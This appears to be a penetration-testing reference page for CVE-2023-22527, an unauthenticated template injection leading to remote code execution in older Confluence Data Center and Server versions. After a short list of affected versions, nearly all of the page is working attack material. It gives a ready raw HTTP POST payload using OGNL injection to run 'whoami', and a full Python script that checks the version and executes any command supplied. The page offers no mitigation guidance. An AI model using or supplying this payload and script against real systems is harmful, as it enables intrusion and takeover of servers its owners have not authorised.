Confluence - CVE-2023-22527
Last updated
Last updated
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve remote code execution on an affected instance.
Affected Versions:
8.0.x
8.2.x
8.3.x
8.4.x
8.5.0-8.5.3
Simple one-liner usable with Burp. RCE response is seen in header X-Cmd-Response.
POST /template/aui/text-inline.vm HTTP/1.1
Host: <HOST_NAME>
Content-Type: application/x-www-form-urlencoded
Connection: close
label=aaa%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.poc%5B0%5D%2C%7B%7D%29%2B%5Cu0027&poc=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%5Cu0027Cmd-Ret%5Cu0027%2C%28new+freemarker.template.utility.Execute%28%29%29.exec%28%7B%22whoami%22%7D%29%29
Python script to simplify the process:
import argparse
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
def get_confluence_version(target):
parsed_url = urlparse(target)
url = f"http://{parsed_url.netloc}/"
try:
response = requests.get(url)
response.raise_for_status()
soup = BeautifulSoup(response.text, 'html.parser')
version_span = soup.find('span', {'id': 'footer-build-information'})
if version_span:
confluence_version = version_span.text.strip()
return confluence_version
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
return None
def check_exploitable_version(version):
exploitable_versions = ['8.0.', '8.1.', '8.2.', '8.3.', '8.4.', '8.5.0', '8.5.1', '8.5.2', '8.5.3']
for exploitable_version in exploitable_versions:
if version.startswith(exploitable_version):
return True
return False
def exploit(target, cmd):
confluence_version = get_confluence_version(target)
if confluence_version:
print(f"Confluence version: {confluence_version}")
if check_exploitable_version(confluence_version):
url = f"{target}/template/aui/text-inline.vm"
http_proxy = "http://127.0.0.1:8080"
https_proxy = "http://127.0.0.1:8080"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = r"label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({'"+ cmd +"'}))"
response = requests.post(url, headers=headers, data=data, verify=False)
if (response.headers.get("X-Cmd-Response")):
print("Command Output:")
print(response.headers.get("X-Cmd-Response"))
else:
print("No response")
else:
print("The version cannot exploit the exploit")
else:
print("Unable to determine version of Confluence")
def main():
parser = argparse.ArgumentParser(
description="Send request with target and cmd parameters",
usage="python3 CVE-2023-22527.py --target <target> --cmd <cmd>\nExample: python3 CVE-2023-22527.py --target http://192.168.139.202 --cmd \"whoami\""
)
parser.add_argument("--target", required=True, help="Target address without http://")
parser.add_argument("--cmd", required=True, help="Value for the cmd parameter")
args = parser.parse_args()
exploit(args.target, args.cmd)
if __name__ == "__main__":
main()